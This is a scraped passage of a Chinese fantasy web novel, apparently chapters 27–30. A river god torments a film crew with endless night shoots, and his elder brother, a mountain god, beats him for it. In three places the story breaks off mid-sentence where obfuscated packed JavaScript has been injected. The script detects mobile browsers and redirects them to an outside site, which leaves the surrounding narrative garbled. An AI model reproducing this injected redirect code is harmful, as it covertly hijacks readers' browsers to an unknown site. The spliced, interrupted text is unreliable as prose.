一个戴眼镜的青年挤出人群,忙不迭赶到了那演员身边:“怎么了?喊我有什么事?你是饿了还是困了,要不要吃点什么东西?” “我渴了。”那演员懒洋洋地说。 遥英立马从随身小包里掏出了一只保温壶。 “喂我。” “行。”遥英从保温壶里倒出些许热茶,吹了两口,小心翼翼地递到了他嘴边。 这下那演员终于是满意了,他咕咚咕咚地喝完茶水,大叹一声,伸长胳膊瘫在了折叠椅上:“我好累哦。” 遥英立刻绕到他身后,心领神会地为他捏起了肩膀。 江边风不算小,但夏天毕竟还是闷热。遥英又是捏肩又是扇风,就这么伺候了一阵子后,他俯到那演员耳边问道:“哥,我能跟你商量个事儿么?” “怎么了?” “下面人都想知道……今天还得要拍多久呀?”遥英谨慎地组织起了措辞,“现在时候不早了,大家都累得不行,反正今天已经拍了很多条了,咱们要不要等下就回去休息?” “休息?”演员的声音顿时抬高了八度,“我都没喊累,他们凭什么觉得自己可以休息!而且今晚咱们总共才拍了几条片子啊?他们难道想就这么想糊弄我?他们把我找过来时可不是这么说的!我不管,只要我没拍尽兴,今晚谁也别想回去睡觉!” “滋——————” 话音落下瞬间,河滩上所有的设备都发出了刺耳的嚣叫声。音响中电流不断,监视器屏幕雪花纷飞,江滩上摆了至少十架摄像机,它们的镜头全部齐刷刷开始转动,以一种诡异的姿态对准了江边的二人。 供桌上的火烛忽而爆燃,烟气呈直线状飞上了高空。在场众人纷纷捂住了耳朵,他们的表情痛苦,看主演的眼神更是仿佛见了恶鬼一般。 “哼。” 那演员轻笑一声,站起身来虚空挥了挥手。 香火应声而灭,他伸了个大大的懒腰,然后转过身来,颇为玩味地打量起了周围的景象。 他虽站得很远,但在场大大小小十数块摄像监视器还是如实复现出了他的容貌。他的脸庞出现在屏幕上瞬间,时妙原差点当场尖叫了出来: 只见这人五官深邃、眉眼锐利,双瞳澄如碧玺,短发灿若鎏金。论长相他确实可以用惊为天人来形容,可问题并不在于他有多英俊,问题在于这个人,这个不可一世的演员……长得居然和荣观真一模一样! “这是什么情况?!”时妙原惊恐地望向荣观真本尊,却见他嘴里默念了些什么,看口型应该是: 小王八蛋。 “那什么!大家看我看我!” 那英俊的小混账高举起右手,满面春风地招呼起了在场工作人员:“休息时间结束了!我们再接着往下拍吧!拍戏嘛当然要尽善尽美才好,不然大伙这么些天的心血岂不就浪费了么?让让我看看啊……嗯,来来来行动起来,第五万三千七百八十四条,河之安澜,Action!” 啪!打板声猝然响起,与此同时东阳江猛地掀起了巨浪。浪花嚣叫着涌上岸围,一丝月光穿透乌云落入了人间,荣承光站立于惊涛之下,他的笑容是较光波更万中无一的张狂。 28. 东江茫茫(一) 荣承光,东阳江水神。主流域内一切生死,掌江河中万种水文。 东阳江早年由荣闻音兼管,她去世之后山神之位归荣观真所有,水神权柄则早早就被移交到了荣承光手中。东阳江自古水系丰富,它不仅哺育了中下游一众鱼米之乡,也留下了许多神奇的传说。 曾经有人说,东江神座下有神蛇百条,只要定期饶以燔祭,那接下来一年都将风调雨顺。也有人说,神蛇与水神都性情阴晴不定,即便日夜诚心拜谒,也指不定哪天就会决堤溃烂。 这些说法并非耸人听闻,毕竟一千年前东阳江水位就曾突然暴涨,它不仅吞噬了曾与之齐头并进的木澜江与仙云河,也彻底改变了沿途的地势风貌。这一事件在后世人口中被称作:三渎归一。 若说山神之威在林海中,那么江水之怒则有席卷千里之威。宽爱与残暴是东阳江的两面,兼蓄与异斥亦是它生而有之的本性。东阳江水滚滚向东入海,那洪波有多宏伟,荣承光的神力就有多不可测量。 江水一日不断流,他就一日不会死去。 “对,就这么写。” 拍摄进入暂停,荣承光翘着二郎腿坐在折叠椅上,心情愉快地品读起了手中的剧本:“写得不错,这段词我是真的喜欢!你们编剧是谁?快点出来跟我聊聊。” 四下寂静无声,几乎没有人敢出来搭他的茬。所有镜头都正对准着荣承光,他是此地独一无二的焦点。 “是,是我……” 一个皮肤黝黑的中年男人挤拨开人群,慌慌张张地跪到了荣承光身边脚下。看他胸前的工牌,这位应当就是《东江祀》的导演杜政了。 “哦?是你啊。”荣承光弯下腰笑眯眯地打量着他,“看不出来杜导演长得一般,肚子里竟然这么有墨水呢。” “您……您过奖了,我也只是随手写一写而已!”杜政赶忙应道,“您的神威不可测量,你的心胸如汪洋般宽广!您看得上我写的东西是我的荣幸,荣老爷若是喜欢的话,我以后就给您多、多写一些!” 荣承光歪了歪脑袋。 “随手写的?”他重复道。 杜政登时汗如雨下。 荣承光用鞋尖轻轻点了点杜政的工牌。他用一种极为柔和、极为亲切,甜腻得令人发颤的语气问道: “你来讲我的故事,拍我的传说,这么重要的东西,你就随手就写了是吧?” 不等杜政回答,他轻轻握住右拳,有五层楼高的洪峰登时冲上岸围,以迅雷不及掩耳之势吞没了片场。尖叫声与求饶一时间不绝于耳,大水退去之后,在场众人虽全都毫发无损,但脸上无一不挂满了惶恐。 “我早就说过了吧?我说不要叫我荣老爷不要叫我荣老爷,究竟要我说几次你才能长记性?”荣承光嫌弃地干呕了一声,“什么破称呼,听着就让人恶心!” 杜政哆哆嗦嗦地抱住了荣承光的皮鞋:“对不起,荣老……不是,荣大人,我错了!都是我们的问题!是是是,说我们初来乍到不明事理才不慎叨扰了您,您大人有大量,求您开开恩放过我们吧!已经连续七天了!求求您让我们睡个好觉!求求您放我们回去吧!!!!” “想回去?不可能。”荣承光干脆利落地踹开了杜政。他仰躺在折叠椅上,故作苦恼地朝天叹息道:“杜导演啊,如果我没有记错的话,最开始明明是你自己先来找我的吧?” “哎……哎!是的……” “是你自己先在江边祀我,是你说要请水神保佑你作品长虹的没错吧?你说只要事成,我不管想要什么你都可以给我。这些我都记着呢,我是在帮你信守诺言啊杜导!我问你,你们拍东阳江难道能不拍我吗?你想要还原水神威仪,我这不就来帮你达成心愿了么?况且我也没有完全不让你们休息,我也就是天黑了才请你们过来玩一玩而已,说到底你究竟是有什么不满意的啦!” 江水又起,白沫如巴掌般轻扇着杜政的脸颊。供桌上香火袅袅,那烟气往荣承光的方向飘去,他闭上眼满足地吸了好几口。 他再睁眼时,那对琥珀般的绿瞳中闪过了一丝金光。有那么一瞬间,他的瞳孔变成了如野兽般竖窄的细条。 “没事的,杜导演,你真的完全不需要担心。” 荣承光扶起杜政,以一种温柔到甜腻的语气对他说道:“你就放心吧,我是好神啊,我是不会害你的。我们再拍一条好不好?一条就行,真的,我保证只要今天让我满意了,我以后就绝对不会再来找你们。” “真……真的吗?”杜政哆哆嗦嗦地问。 “真的呀,我骗你干嘛?”荣承光笑着拍了拍他的脸蛋,“我荣承光向来言出必行,我活了几千年,还从来没有对谁食言过。来吧!杜导,来!我发誓这就是最后一条了!各单位注意——准备,Action!” 打板再度落下,在场众人被迫再度强打起了精神,在场众人皆精疲力尽,只有荣承光在不知疲倦地走位、念词,和指导: “这样不行!情绪还没到位!” “这个不错,我们再来优化一下!” “不对不对,这个角度没法展现江面的全景!” “不好!不好!这样子又拍得江太大了!” “不是我说你们啊……把我脸拍好看点行吗?你这简直有损水神威名!” “光拍脸有什么用?你得展示全身!身材!看我这身衣服,它能买十个你!” “嗯……你们觉不觉得好像还是最开始那版比较好?” “不行……再来!” “再来!” “再来!” “再来一次!” “再来最后一次!” “再来嘛,再来嘛!你们别急呀,你们哭什么啊,等下我就会让你们回去的——哈哈哈哈哈哈哈哈哈!!!” 长夜将尽,荣承光却越来越兴奋。他笑得无比猖狂,而在几十米开外的地方,时妙原躲在灌木丛中看完了荣承光折磨人类的全部过程。 时妙原目瞪口呆。 一个极为恐怖的猜想浮现在了他的脑海中。 《东江祀》剧组的人近段时间以来,难道每天过的都是这样的日子吗? 他想到白天在电梯里看到的那些人,有几个也确实出现在了这里。怪不得他们当时是那种半死不活的状态,白天正常上班,到了晚上还要被荣承光这种地狱级甲方来回折磨,这换谁谁肯定都受不了啊! 说到荣承光,时妙原不得不承认,岁月果真是一把杀猪刀。他努力尝试了无数次,也没有办法把眼前这个疯疯癫癫的金发男人和当年那个哭着要哥哥抱的小可爱联系到一起。 从前的荣承光又傻又甜,只要给颗葡萄就能安静上大半天,就算后来长大了性格也很腼腆,现如今却…… 思及此处,他斜眼望向荣观真:这位爷的表情也是相当的不忍直视。 “那什么,荣老爷,他难道就是你弟弟吗?”时妙原半好奇半揶揄地问道,“看着还怪时髦的……这发色是天生的?没看出来你家还有西洋基因。” 荣观真痛苦地闭上了眼睛:“他染的。” “牛啊。那他的眼睛怎么是绿的?” “戴的隐形眼镜。” “……” 时妙原强忍笑意重新望向荣承光,只见他一连拍了无数个场景,整个人都兴奋得直喘粗气儿。与之相对的是杜政的表情却愁得能滴出水来。 这模样这可惹恼了荣承光,他立刻跨步上前,揪住杜政的衣领恶狠狠地吼道:“不许愁眉苦脸的!我告诉你,为我做事是你们的荣幸!你们必须永永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142670|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远地记住这一天!你们谁也不许忘记我!” 荣承光喘着粗气说:“不论是被人,还是被书,被画,被镜头,还是被其余别的什么东西,我都不允许任何人忘记我哪怕一秒!” 杜政无声地张了张嘴巴,就在刚才那一瞬间,他眼前闪过了一颗面目狰狞的蛇头。 那蛇生得金鳞金眸,很明显并非寻常野兽或普通精怪,也不是他极度惊恐之下产生的错觉——因为它冲他亮出了獠牙,他甚至听见了信子腥湿的嘶响。 荣承光作势要冲着杜政的脖子咬下去,遥英见状不由得惊呼:“承光!别!!!” 飞鸟尖啸。 荣承光猛然回头。 山中传来阵阵嗡鸣,那像是野兽的低吼,又好似林木在怒骂。 鹅卵石咔嗒作响,细沙在土石间跳起了踢踏舞,才刚平息的水面又泛起了气泡,可这一次,荣承光很确信自己并没有出手。 “……什么动静?” 他仅疑惑了半秒,而后突然面色大变,一把松开杜政,挥手引来了数层巨浪。 这次的浪更高更广,甚至一度吞噬了滩后的断崖。荣承光一边引浪一边向遥英跑去,后者还没反应过来,就被他整个扛到了肩上。 “怎么了?发生什么事了!”遥英惊慌失措地问。 荣承光撒腿就跑:“先别问为什么,我们先离开这里!” 水中传音不清,巨浪为他们提供了天然的隐蔽,荣承光正要借此机会退回江中,突然感到身上传来了一阵莫名的拉扯。 一股强烈的寒意从背后袭来,紧接着江水迅速后撤,不到半分钟时间,江滩上就再没了别人。 杜政和剧组的人已经通通消失,那些昂贵的摄影器材也都不见了踪影。靠近断崖的地方落了台小巧的手持式摄像机,一只苍白的大手将它捡起来,交给了一个躲在他身后探头探脑的人。 “拿着,等下记得拍全乎点。” 荣观真将摄像机塞进时妙原坏里,转身向江边走了过去。方才浪那么大,他身上却连半滴水珠也没沾到。 荣承光在见到他瞬间就下意识向后退了好几步,一阵冷风吹来,那件颜色张扬的酒红色立领衬衫被汗水给黏到了背上。 他惊恐地问道:“你……你怎么来了?” “我难道不能来吗?”荣观真面无表情,“你在这弄出了这么大动静,还波及到了这么多人类,都有人把状告到大涣寺里去了,我这个做哥哥的难道不应该来看一看吗?” “告状?”荣承光露出了不可置信的表情,“是谁?他想死吗?!” 荣观真没有回答他的问题。他慢悠悠向荣承光走去,他越是靠近,荣承光的表情就越是不安。 山体低鸣不断,江水震颤的弧度怎么看怎么像是谁在发抖。冷风狂吹不止,从山中与水面吹来的风很快形成了对流。等到荣观真终于站定在荣承光身前时,这小小的滩涂周边已呈现出了一副黑云压城般的凶景。 荣承光背后波涛涌动,而那他本人和浪花都已不及几分钟前那般霸道。遥英在一座巨石旁离瑟瑟发抖,他哆嗦着朝他爬了几步,荣承光立马喊道:“你别管我,你先——” 未等他说出那个“跑”字,荣观真三步并作两步上前,抓着他的头发把他狠狠地掼到了巨石上。 咣!!!这是荣承光的后脑勺发出的声音。 “我靠!”时妙原吓得花容失色,“下手这么狠的吗?!!” “我操!!”荣承光破口大骂,“你这老不死东西,你想弄死我吗!!!!” “不得了了,你还知道怕死?!” 荣观真飞起一脚,将荣承光踹出了好几米远。紧接着闪现到他身边,起手啪啪啪!三掌,直接给荣承光的隐形眼镜扇飞了半片出去。 29. 东江茫茫(二) “承光叔——啊啊啊啊你没事吧承光叔啊!!!” 尖叫声划破夜空,关亭云和关居星慌慌张张地跳下了悬崖,荣观真一巴掌下去直接让荣承光晕了好几秒,他捂着眼睛回了会儿神,然后一骨碌爬起来扯着嗓子骂道:“荣观真!你疯了!你怎么敢打我的脸啊!!!” “真是太阳打西边出来了,没想到有一天我居然还能被你说疯!” 荣观真扯开衬衫领口,半怒半讽地笑道:“你这小王八羔子,打脸都算给你脸了!三天不打你就上房揭瓦,就半个月没管你你现在居然敢出来绑架活人!真是出息了啊荣承光,我问你,要再多给你几天,你是不是要骑在老子头上拉屎了?!” 说完,不等荣承光反驳,他顺手抄起一根被浪花推上岸的树桩,二话不说往荣承光的脑门上砸了下去。枝条应声而断,荣观真干脆利落地扔掉武器,活动活动筋骨又给亲弟弟脸上来了一拳。 “啊!!!!” 荣承光倒地不起,江滩上瞬间乱成了一锅粥。哀嚎的臭骂的劝架的和看热闹的舞作一团,荣观真下手又快又准又狠,很快,荣承光的脸上身上腿上衣服上就布满了掌痕和鞋印。 他捂着脸嗷嗷乱窜,本来精心打理好的发型也被揪成了鸟窝,这画面落在时妙原眼里,突然让他产生了一个极为邪门的猜想: 难道说,荣观真之所以坚持要用肉身出行,就是为了来揍荣承光的吗? 他不肯随意暴露自己的行踪,不会是为了不给荣承光逃跑机会吧? 打草惊蛇打草惊蛇……原来荣观真不想惊的,是这条张牙舞爪的神蛇啊! “别打了老爷,别打了!您放过承光叔吧,承光叔他好像有点要死了!!” 荣观真打得一路火花带闪电,关亭云和关居星在一旁急成了热锅上的蚂蚁,他们看似十分关心荣承光的安危……但时妙原很快就发现,这俩孩子好像谁都没准备真的上去帮这位小叔。 关亭云好歹还知道上手扒拉两下,关居星根本就是在绕着他俩干吆喝,他手里攥着根不知从哪掏出来的小白旗,乍一看俨然是无限制相扑格斗大赛的裁判。 “喂!你们过来一下!”时妙原趁乱把小护法们扯到身边问道,“不是我说,你俩咋光叫唤不上去帮忙啊?荣观真这打得也太重了吧?要真出什么问题可怎么收场啊!” “你别管,我俩正常走流程而已。”关亭云压低声线道,“看你是新来的我就跟你解释一下吧,我跟你说,这时候插手除了让老爷费神多抽一个人以外没有任何意义。” “现在劝也是费嗓子,不如趁机多看看热闹。你别担心,承光叔皮厚,就这几下包死不了的。”荣居星指着那头打得火热的两兄弟说,“根据我的经验,荣老爷还得再扇至少二十个巴掌才能进下一阶段。” “……这种事在你们家是常态吗?”时妙原震惊地问。 “早些时候我不知道啊,但反正这几年是常有的。”关亭云思索片刻道,“你对承光叔可能不是很了解,他是东阳江水神,在空相山境内地位和老爷不相上下,他嘛性子虽然不坏……但总喜欢捉弄信徒,荣老爷从前就总为这个跟他吵架,至于动手也是常有的事。但承光叔不仅从来不听管教,有时候还会变本加厉地使坏。这不,像这次他连续好十几个晚上把人绑到江边陪自己拍戏,虽然他们白天醒了也就忘了……但还是有人把状告到了荣老爷那。” “既然忘了,那他们是咋告状的啊?”时妙原不解地问。 “告状的不是剧组的人,是遥英哥。”关亭云指着不远处坐地上大喊大叫的青年说,“他是承光叔的护法,平时一直跟在他身边做事。” 遥英?时妙原不由得打量起了那青年:只见他戴着副轻巧银丝框眼镜,身形清瘦,长相秀气,比起水神护法,更像是个刚毕业的大学生。 不过关亭云这么一说时妙原便注意到了,遥英虽然一直在劝架,但他其实也只是坐在地上干嚎,荣承光脸都要被抽烂了,他却连屁股都没有抬一下。 真是奇也怪哉,先不论哪有护法不管主神死活的道理……这个遥英,看起来好像就只是个普通人而已啊? 时妙原正纳闷着,就听见荣承光梗着脖子大喊道:“等一下!你先停一停!” 众人纷纷望去,荣观真居然真停了手。 荣承光得到喘息机会,哆哆嗦嗦地取下了左眼剩余的半片隐形眼镜。可他还没来得及卸另外一只,就又被哥哥一脚踹翻在了河滩上。 他仰面倒地疼得直抽凉气,现在的他左眼浅金右眼碧绿,看起来就像是一只矜贵无比的长毛波斯猫。 荣观真连踩数脚,此猫发出了一串凄厉至极的尖叫:“啊!!!荣观真!!!你他爹的有病吧!!!” 荣观真一边冷笑一边脚下用力:“需要我提醒你吗?我俩可没有爹这种东西!” “几个爹你也不能这样玩老子吧!你……咳咳咳咳!你是不是真的心理扭曲了啊你!”荣承光扯着嗓子喊道,“你不在蕴轮谷养你那破花,跑我这儿来发什么疯啊!” “哦,这也是我的地盘,我难道不能来吗?”荣观真惊奇地问道,“我就几天没看着你,你瞧瞧你自己现在是什么德行?你很会欺负人是吧?很能耍威风是吧?你这一天到晚不三不四不五不六的做了什么正事没有?你这头发染的什么东西啊,你都能当咱奶了你知道吗!” 荣承光捂着鼻子问:“咱还有老奶?” “没有,你正好可以填补这个空白。” 荣观真起手又是一耳光,老荣家的亲缘缺憾何时能被补齐暂且不论,至少荣承光的俊脸上又添了五个清晰无比的手指印。 时妙原看在眼里,惊在心里,这几轮下来,荣承光的形象在他心中突然高大了不少。毕竟他被抽了这么久居然还有人形,这些拳脚要是落别人身上,奈何桥的每日吞吐量估计都要上四五个量级。 荣观真打累了,停下来往遥英的方向看了一眼,荣承光立马像触电了似地爬过去挡在了遥英身前:“你打我可以,别动我护法!” “谢谢你告诉我他的行踪。”荣观真对遥英点了点头,“不然我都不知道要到这儿来找他。” “啊……我倒没什么,倒是辛苦您跑一趟了。”遥英恭敬地笑道。 “什么,原来是你告的密吗?!”荣承光震惊地扒住了遥英的裤腿,“你居然又出卖我!!!” 遥英轻叹一声,轻轻捧起了荣承光又俏又惨的脸蛋:“承光啊……你出了好多血哦。你还好吧,你的脸疼吗?你感觉头晕不晕?等下我给你包扎一下吧。” “不是?我要是有事儿那不也是你整的吗!!” 荣承光鬼哭狼嚎,遥英哄得敷衍至极,荣观真走回时妙原身边,把外套脱下披到了他身上:“帮我穿着。” 然后他迅速抽出皮带,回头将荣承光抽得嗷一声旋转了起来。 “转阶段了。”关亭云贴心地为时妙原解说道,“刚才只是门神,现在他才开始动真格的。” “说起来,他这次用的是皮带啊……”关居星摸着下巴感慨不已,“我还记得上一回他拿的是供桌,那个太重了,还是皮带好,皮带趁手。亭云啊,你觉得他这回得抽多久?” “至少半个小时吧?承光叔这次犯的事儿可比之前严重多了。” “啊?那老爷的胳膊会不会酸。” “酸倒不至于,就是回去得给他买条新皮带。” “那上面挂的玩偶也得换了。” 两人这边规划得火热,那头的荣承光惨叫就没有停过:“别打了,别打了!荣观真!王八蛋!老东西!死变态!啊!哥!哥!!大家都看着呢!都录着呢啊!!” 他这话确实不假。时妙原低头看向摄像机:得,还有四格电,就连刚才那通求饶也都给录进去了。 “你也知道嫌丢人?那你四处耍威风的时候怎么没想到会有今天呢?”荣观真把荣承光抽得噼里啪啦直响,“要不是遥英跑来告诉我,我都不知道你还能干出这么荒唐的事!那些都是人!经不起你这么折腾!你这样一天天像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你少说两句吧,你这个傻蛋!”时妙原怒喷完荣承光,转身满脸堆笑地握住了荣观真的手:“快,快乖啊荣老爷,咱不跟这小傻子置气,咱赶紧把皮带系回去吧我的祖宗内……再不拴上裤子该掉下来了!” “你讲话能正常点吗?”荣观真差点一口气没上来,“你让开!这事儿和你无关!” “哎哟,我不让!” “你让不让?不让我连你一起打了!” 时妙原眼睛一闭:“你打吧!你要打便打,要杀便杀!索性我也不想活了,师父啊!抽死我你正好换个新徒弟得了!” “你!!!” 荣观真气得太阳穴突突跳,他几次举起皮带却都没能真的下手。疼痛久久不至,时妙原半睁开一只眼睛,得意地冲他龇起了大牙:“怎么,舍不得了?” “我舍不得你个……” “噗嗤。” 荣观真与时妙原回过头去,只见荣承光正冲他们嘿嘿笑。 “你笑什么?”荣观真皱紧了眉头。 “我笑你好笑。”荣承光舔掉嘴边的血,哎哎哟哟地叹起了气,“唉,我只是觉得很有意思而已啊。就……哥,你让我说什么好呢?” 就这半分钟不到的时间,荣承光身上的伤已经全部都痊愈了。他只是脸上还挂着点血,搭配上他的笑容,呈现出一种若有似无的悚然。 他一手插兜,一手抓抓自己的头发,慢慢悠悠地踱到了时妙原身边。 气氛有些微妙,在场众人皆面面相觑,荣承光顶着荣观真吃人的眼神绕时妙原转了两圈,然后,他伸出手,轻轻捏了捏时妙原的下巴。 “我草?”时妙原瞪大了鸟眼,“不是,你特么的干什——” 不等时妙原开口啄人,荣承光回头冲荣观真露出了一个灿烂至极的笑容:“我说呢荣观真,我说你怎么又收了个新护法,原来还是为了他嘛!哥哥啊哥哥,没想到这么多年过去了,你居然还是喜欢这个类型的啊?” 荣观真愣了半秒。 然后,他冲上前去,一拳砸歪了荣承光的鼻子。 30. 东江茫茫(三) 荣观真一拳砸歪了荣承光的鼻子。 拳头如雨点般落下,荣承光狂笑不止。 “哎哟,急了!哈哈哈哈哈哥你急了!急了急了急了!”他笑得近乎癫狂,荣观真打得有多重,荣承光就有多开心,到最后他几乎是声嘶力竭地在大喊:“哥!我收回前言!其实你是一个很有原则的人……你就是太不知变通了才会变成现在这样的!” 荣观真掐住了他的脖子。他一句话都没有说,只是一拳一拳地殴打。荣承光也不反抗,上一秒出现在他脸上的伤口下一秒就会立刻愈合。江面阴风阵阵,他不断高声喝彩,就好像正在被痛殴的另有其人一样: “打得好!” “哥!冲这儿打!来!” “再用点力!咳……你晚上没吃饭吗!” “怎么光动手不用法术啊?你那剑呢?荣观真,把三度厄拿出来给我助助兴啊!!!” “你快闭嘴吧你!你是真想死还是怎么着啊!”时妙原破口大骂。他从背后一把抱住了荣观真:“你也给我冷静点!你别被他刺激到了,这死小孩就是嘴贱而已!!” “我凭什么闭嘴?这世上最不该闭嘴的就是我!”荣承光怒吼道,“他有本事你就弄死我!反正他杀的人没有一千也有八百了!荣观真,我们当初是不是都劝过你啊?我们是不是都劝过你别太当回事,别不给自己留退路,死几个小孩而已,连原因也查不明白,糊弄糊弄不就过去了吗!你那么喜欢他,没必要真的动手对不对?结果啊你看看,你看看你……就为这事儿自己搞成这个样子!要我说你也是好笑,妈妈没的时候不见你怎么样,死了个相好的你就成天寻死觅活的不行了!!!” 时妙原浑身一僵。 荣观真挣脱出他的怀抱,他又一拳下去,没落到荣承光身上,被遥英挡住了。 他的手上缠着好几圈念珠,其中最大的一颗金珠散发着耀眼夺目的光芒。荣承光见状脸色一变:“遥英!你让开,你别掺和!” “遥英,你别挡路。”荣观真平静地说,“我要杀了他。” “我不可能让你这么做的。”遥英咽下一口血气,略有些艰难地摇了摇头,“荣老爷,我是承光的护法,我要为他负责。我这条命都是他给的,您今天如果真铁了心要杀他,要么就把我一起给带走吧。” “遥英,你让开!你让他打我!你拦他干嘛!”荣承光推开遥英,抓着荣观真的手啪啪啪往自己脸上扇了好几下,“来啊,哥!你掐我,你打我,你今天不弄死我不许回蕴轮谷!快点,你是没吃饭还是怎么着?你别光嘴上说着要弄死我,你倒是来点实际的啊!” 荣观真甩开荣承光的手,高高地举起了拳头。荣承光见状再度大笑出声:“来!快来!不打你今天就不姓荣!打啊!打啊!荣观真,你为什么不打我?我跟你说我最讨厌就是你这样惺惺作秀的姿态!你打我,你打死我我妈也不会再活过来,那些被你害死的人也不会得到解脱,你今天就算把我撕碎了,撕烂了,烧成灰了,扔江里喂给鱼了——你也永远都不可能再见到时妙原了!!!” 扑通。 江面泛起一串水泡,大抵是夏日闷湿,鱼儿烦闷,想法子跃出来透一口薄气。 风呼呼地吹,可它并未能带来半点清凉。遥英又挡在了荣承光面前,荣承光浑身上下到处都是滴滴答答的鲜血,荣观真的拳头正悬停在半空,时妙原看不到他的表情,他只感觉他整个人都在发抖。 树木沙沙作响,小草窃窃私语。风儿交头接耳,风吹来山中的土腥,也带来了几丝不明所以的悲鸣。 时妙原循声望去,眼前的画面让他整个人僵在了原地。 白马正在哭泣。 它的眼泪一滴一滴洇入泥土,荣观真慢慢放下了拳头。 “你说得对。” 荣观真后退几步,气喘吁吁地对荣承光说:“我也是这么想的。” 说完,他径直走到江边,从怀里掏出了一支皱巴巴的香烟。他哆哆嗦嗦把烟叼进嘴里,然后又掏出打火机点燃,烟气很快就在江边蔓延了开来。 他什么时候开始抽烟了?时妙原面露疑色,但现在谁也不敢上去打扰荣观真。 遥英抱紧了荣承光,直到这时荣承光才开始发抖,江风依旧在吹,只是他们谁都没有再说话。 荣观真抽得很快,不到半分钟时间火星就燃到了尽头。他捏碎滤嘴,把余灰放进口袋,然后取下墨镜,用衣角稍微擦了两下就又重新戴了回去。 他背对着所有人,谁都看不清他此刻的表情。烟雾勾勒出风的形状,过了不知多久,他哑着嗓子问道: “有人告诉我,你杀了很多人,还掳走了他们的亲人,这事是真的吗?你有没有做过这样的事情?” 这话问的是谁当然不言而喻,荣承光咳嗽两声,忍着剧痛答道:“再说一次……我从没有杀过人。那种自己要往河里跳的不算。至于暴雨洪涝之类的灾害,那也不是我能控制得了的事情。” “你最好没有。” “呵呵。” “剧组的人是你送回去的吗?” “还用你说?你刚来的时候我就把他们都送走了。”荣承光瓮声瓮气地说,“他们明天起床,就只会觉得累而已。” “以后别再找他们麻烦了。” “老子还懒得呢。” “那就好。” 这兄弟俩你一句我一句,一来一回答得竟无比顺畅。这画面可以说是要多诡异有多诡异,毕竟就在几分钟前他们还大打出手,颇有一副今日不死不休的气势,可如今却突然又正常交谈了起来。时妙原看在眼里,只觉得他们当中没有一个正常人。 他心里正犯嘀咕,却见荣观真走到他身前,对他伸出了手。 “给我。”荣观真说。 “嗯?”时妙原愣了一会儿,直到荣观真不耐烦地“啧”了一声,他才如梦初醒地把手持摄像机递给了他。 荣观真三下五除二拆出内存卡,把它掰成两半,手一挥扔到了江里。 “别乱扔垃圾啊!”荣承光抗议道。 荣观真当然懒得搭理他,他把摄像机复原好,放回到时妙原手里说:“你拿着,到时候在酒店遇到杜政他们了记得还回去。” “哦,哦!” 时妙原呆呆地应了两声。荣观真交代完以后便越过他向白马走去,时妙原忙不迭回头跟上:“那这事儿现在就算结啦?我们现在先回酒店?这闹腾了一晚上天都快亮了,今天白天你最好补个觉……” “你自己回吧,我就不一起去了。”荣观真加快了脚步,“房间开了七天,你想在那待多久就待多久,我有事先回蕴轮谷了,你之后想去哪就去哪,不要再来找我。” “哎?哎哎哎哎哎!等一下等一下,你这是什么意思啊!”时妙原赶忙拦住了荣观真,“不是,我也没惹你吧?怎么突然就不要我了啊你,我这大老远跟你跑过来啥好处没捞着到了还给你撇下来了?你别走!回来!我一个人回酒店能干嘛啊我!” 荣观真甩开了他的手:“你想干什么就干什么,和我有半毛钱的关系吗?” “不是,你这人是不是脑子出问题了?”时妙原登时感到火蹭蹭蹭直往脑门上冒,“当初是你非要把我带走的,怎么现在又好像我在对你死缠烂打一样?惹你不开心的又不是我,我从刚才开始就一直在哄你,我明明什么也没有做错啊!你回蕴轮谷是吧?那带我一起去,我还有东西落在香界宫呢,我要回去拿!” “你落了哪些东西?我到时候叫人给你送回来。” “太多了!记不清!我要自己去拿!” “你别去了。” “我就去!” “你就算去了,我也不会给你开门的。”荣观真冷冷地说。 “我不管,我就去!你不给我开门我就翻墙,你把墙垒高了我就变成鸟飞进去!”时妙原气得张牙舞爪了起来,“我不仅要去,还要在你家门口支大喇叭唱戏!我要让整座空相山都知道你始乱终弃!喜新厌旧!玩弄我感情搞大我肚子还对我不负责!!!” “你有完没完?你这死鸟是不是听不懂人话啊!”荣观真忍无可忍地吼道,“非要我明说我不想再见到你吗?我觉得你烦,看到你就讨厌,我跟你根本就不熟,我当初是失心疯了才会把你带回家可不可以?你现在赶紧给我滚,我一秒钟都不想再见到你了!你再不走,再不走我连你一起打!!” 他抬手作势要打,冷不丁突然有什么东西顺着他的脸颊滑了下来。 他们一起愣住了。 时妙原整个人僵在了原地,荣观真肉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142672|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见地慌乱了起来,他赶紧低头挡住眼睛,胡乱招呼护法道:“亭云!居星!我们走吧,别管这疯子了!我们现在就回……” 啪! 时妙原抬起一掌,干脆利落地掀掉了荣观真的墨镜。 墨镜落下以后,荣观真的眼睛毫无遮挡地呈现在了时妙原面前。 这是双很好看的眼睛。它的主人曾经意气风发,现在的它却失去了曾有的全部色彩。那本应是瞳孔的地方出现了十字状的裂痕,鲜血汩汩而出,不一会儿就沾湿了他的整张面庞。 